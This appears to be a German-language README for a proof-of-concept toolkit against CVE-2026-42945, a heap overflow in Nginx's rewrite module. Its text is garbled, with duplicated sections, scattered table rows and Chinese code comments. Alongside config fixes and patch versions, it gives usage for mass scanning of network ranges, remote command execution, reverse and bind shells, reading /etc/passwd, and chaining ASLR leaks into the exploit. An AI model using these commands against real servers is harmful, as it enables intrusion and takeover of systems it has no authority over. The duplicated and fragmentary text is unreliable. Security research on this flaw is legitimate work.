
CVE-2026-42945 Nginx Rift
Ein umfassendes Proof-of-Concept-Toolkit für CVE-2026-42945 (Nginx Rift), eine kritische Heap-Pufferüberlauf-Schwachstelle im ngx_http_rewrite_module von Nginx.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-42945 |
| Name | Nginx Rift |
| Typ | Heap-Pufferüberlauf |
| Komponente | ngx_http_rewrite_module |
| Schweregrad | Kritisch (CVSS 9.2) |
| Betroffen | Nginx 0.6.27 - 1.30.0 |
| Behoben | Nginx 1.30.1 / 1.31.0 |
Die Schwachstelle entsteht durch eine Fehlberechnung der Größe zwischen zwei internen Durchläufen bei der Verarbeitung von Rewrite-Regeln. Wenn eine Konfiguration Folgendes verwendet:
$1, $2 usw.)? enthältberechnet Nginx die erforderliche Puffergröße während des ersten Durchlaufs falsch und schreibt während des zweiten Durchlaufs über den zugewiesenen Heap-Puffer hinaus.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py – Zentrales PoC-ToolScanner und Exploitation-Tool für einzelne Ziele.
Funktionen:
Server-Header erkennenVerwendung:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py – Massen-ScannerBatch-Scanner zum gleichzeitigen Testen mehrerer Ziele.
Funktionen:
Verwendung:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Format der Zieldatei:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py – KonfigurationsanalysatorLokale Nginx-Konfigurationsdateien auf verwundbare Rewrite-Muster durchsuchen.
Funktionen:
nginx.conf parsen und include-Direktiven folgen? in Ersetzungszeichenketten erkennenVerwendung:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py – Erweitertes RCE-PoCFortschrittliches Exploit-Tool auf Basis der offiziellen Forschung von depthfirst; unterstützt mehrere Rewrite-Muster und Exploit-Modi.
Funktionen:
/api/, /redirect/, /user/ usw.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sVerwendung:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Details zu den Exploit-Modi:
Adresskonfiguration (nur bei deaktiviertem ASLR):
--heap-base: Heap-Basisadresse des Ziels (z. B. 0x555555559000)--libc-base: libc-Basisadresse (z. B. 0x7ffff77ba000)--system-addr: Direkte system()-Adresse (überschreibt libc-base)aslr_leak_detector.py – ASLR-Leak-ErkennungUmfassender Scanner zur Erkennung von Informationslecks, die den ASLR-Schutz umgehen können.
Funktionen:
/nginx_status, /actuator/* usw.)enhanced_poc.py über JSON-BerichtVerwendung:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
Integration mit dem erweiterten PoC:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
Das PoC-Tool erkennt die Schwachstelle anhand folgender Indikatoren:
| Indikator | Beschreibung |
|---|---|
| Verbindungsabbruch |
Keine externen Abhängigkeiten erforderlich. Es wird nur die Python-Standardbibliothek verwendet.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
Falls ein Patch nicht sofort möglich ist, ersetzen Sie unbenannte Erfassungsgruppen durch benannte Erfassungsgruppen:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
WAF-Regeln bereitstellen, um fehlerhafte Anfragen zu blockieren, die auf verwundbare Rewrite-Muster abzielen.
Dieses Toolkit dient ausschließlich autorisierten Sicherheitstests und Forschungszwecken.
Dieser Fehler wurde zusammen mit drei weiteren Speicherkorruptions-Problemen entdeckt:
| CVE | Beschreibung | Schweregrad |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI-Speicherzuweisungsfehler | Hoch |
| CVE-2026-40701 | Use-after-free bei der DNS-Auflösung für OCSP | Mittel |
| CVE-2026-42934 | UTF-8-Parsing: Out-of-bounds-Lesen |
Dieses Projekt wird für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Autor: Security Research Team Datum: 2026-06-11
CVE-2026-42945 (Nginx Rift) ist eine Heap-Pufferüberlauf-Schwachstelle im ngx_http_rewrite_module von Nginx. Sie besteht seit 2008 (Nginx 0.6.27) und blieb etwa 18 Jahre lang unentdeckt.
Bei der Verarbeitung von Rewrite-Regeln führt Nginx intern zwei Parse-Durchläufe aus. Wenn in der Konfiguration gleichzeitig die folgenden beiden Bedingungen erfüllt sind:
$1, $2)?berechnet Nginx die Puffergröße beim ersten Parse-Durchlauf falsch und schreibt beim zweiten Parse-Durchlauf Daten über die Grenzen des Heap-Puffers hinaus, was zu einem Heap-Overflow führt.
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py – Zentrales PoC-ToolScanner und Exploitation-Tool für einzelne Ziele.
Funktionen:
Server-Antwortheader erkennenVerwendungsbeispiele:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py – Massen-ScannerMultithread-Scanner für das gleichzeitige Scannen mehrerer Ziele.
Funktionen:
Verwendungsbeispiele:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Format der Zieldatei:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py – KonfigurationsprüferDurchsucht lokale Nginx-Konfigurationsdateien auf verwundbare Rewrite-Muster.
Funktionen:
nginx.conf parsen und durch include referenzierte Dateien rekursiv auflösen? enthaltenVerwendungsbeispiele:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py – Erweitertes RCE-PoCFortschrittliches Exploit-Tool auf Basis der offiziellen Forschung von depthfirst; unterstützt mehrere Rewrite-Muster und Exploit-Methoden.
Funktionen:
/api/, /redirect/, /user/ usw.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sTabelle zur Erweiterung der Overflow-Triggerzeichen:
Verwendungsbeispiele:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Beschreibung der Exploit-Modi:
Adresskonfiguration (nur bei deaktiviertem ASLR):
--heap-base: Heap-Basisadresse des Ziels (z. B. 0x555555559000)--libc-base: libc-Basisadresse (z. B. 0x7ffff77ba000)--system-addr: system()-Adresse direkt angebenaslr_leak_detector.py – Tool zur Erkennung von ASLR-InformationslecksUmfassender Scanner zur Erkennung von Informationslecks, die zur Umgehung des ASLR-Schutzes genutzt werden können.
Funktionen:
/nginx_status, /actuator/* usw.)enhanced_poc.py über JSON-BerichteVerwendungsbeispiele:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
Kombinierte Verwendung mit dem erweiterten PoC:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
Das PoC-Tool beurteilt anhand folgender Anzeichen, ob das Ziel verwundbar ist:
| Indikator | Beschreibung |
|---|
Es müssen keine Drittanbieter-Abhängigkeiten installiert werden; es genügt die Python-Standardbibliothek.
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
Unbenannte Erfassungsgruppen durch benannte Erfassungsgruppen ersetzen:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Regeln für Web Application Firewalls bereitstellen, um bösartige Anfragen zu blockieren, die auf verwundbare Rewrite-Muster abzielen.
Dieses Toolkit dient ausschließlich autorisierten Sicherheitstests und Forschungszwecken.
Diese Schwachstelle gehört zu einer Reihe von Speicherkorruptions-Problemen, die vom KI-gesteuerten statischen Analysesystem von depthfirst entdeckt wurden:
| CVE-Nummer | Beschreibung | Schweregrad |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI-Speicherzuweisungsfehler | Hoch |
| CVE-2026-40701 | Use-after-free bei der DNS-Auflösung für OCSP | Mittel |
| CVE-2026-42934 | UTF-8-Parsing: Out-of-bounds-Lesen |
Dieses Projekt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.
Autor: Security Research Team Datum: 2026-06-11
| Modus | Beschreibung | Ausgabe |
|---|
cmd | Einzelnen Shell-Befehl ausführen | Befehlsausgabe auf dem Ziel |
shell | Reverse-Shell starten | Verbindet zurück zu --listen-ip:listen-port |
bind | Bind-Shell auf dem Ziel starten | Lauscht auf --listen-port auf dem Ziel |
read | Datei vom Ziel lesen | Inhalt wird nach /tmp/nginx_rift_read geschrieben |
| Ziel schließt die Verbindung unerwartet (Worker-Absturz) |
| Gateway-Fehler | HTTP-502/503/504-Antworten (Worker-Prozess beendet) |
| Langsame Antworten | Antwortzeit steigt erheblich (Erholung nach Absturz) |
| Leere Antworten | Antwortkörper verschwindet im Vergleich zur Baseline |
| Versionsabgleich | Erkannte Nginx-Version liegt im verwundbaren Bereich |
| Produkt | Betroffen | Behoben |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Alle Versionen vor den Patches | Auf veröffentlichten Patch aktualisieren |
| Nginx Gateway Fabric | Alle Versionen vor den Patches | Auf veröffentlichten Patch aktualisieren |
| Mittel |
| Feld | Details |
|---|
| CVE-Nummer | CVE-2026-42945 |
| Schwachstellenname | Nginx Rift |
| Schwachstellentyp | Heap-Pufferüberlauf (Heap Buffer Overflow) |
| Betroffene Komponente | ngx_http_rewrite_module |
| Schweregrad | Kritisch (CVSS 9.2) |
| Betroffene Versionen | Nginx 0.6.27 - 1.30.0 |
| Behobene Versionen | Nginx 1.30.1 / 1.31.0 |
| Zeichen | Erweitert zu | Overflow pro Zeichen |
|---|
+ | %2B | +2 Bytes |
& | %26 | +2 Bytes |
= | %3D | +2 Bytes |
% | %25 | +2 Bytes |
| Leerzeichen | %20 | +2 Bytes |
| Modus | Beschreibung | Ausgabe |
|---|
cmd | Einzelnen Shell-Befehl ausführen | Befehlsausgabe wird auf dem Ziel gespeichert |
shell | Reverse-Shell starten | Verbindet zurück zu --listen-ip:listen-port |
bind | Bind-Shell starten | Lauscht auf --listen-port auf dem Ziel |
read | Datei vom Ziel lesen | Inhalt wird nach /tmp/nginx_rift_read geschrieben |
| Verbindungsabbruch | Ziel schließt die Verbindung unerwartet (Worker-Prozess-Absturz) |
| Gateway-Fehler | HTTP 502/503/504 werden zurückgegeben (Worker-Prozess beendet) |
| Langsame Antworten | Antwortzeit steigt erheblich (automatischer Neustart nach Absturz) |
| Leerer Antwortkörper | Antwortkörper ist im Vergleich zur Baseline leer (Worker abgestürzt) |
| Versionsabgleich | Erkannte Nginx-Version liegt im verwundbaren Bereich |
| Produkt | Betroffene Versionen | Behobene Versionen |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Alle Versionen ohne Patch | Auf behobene Version aktualisieren |
| Nginx Gateway Fabric | Alle Versionen ohne Patch | Auf behobene Version aktualisieren |
| Mittel |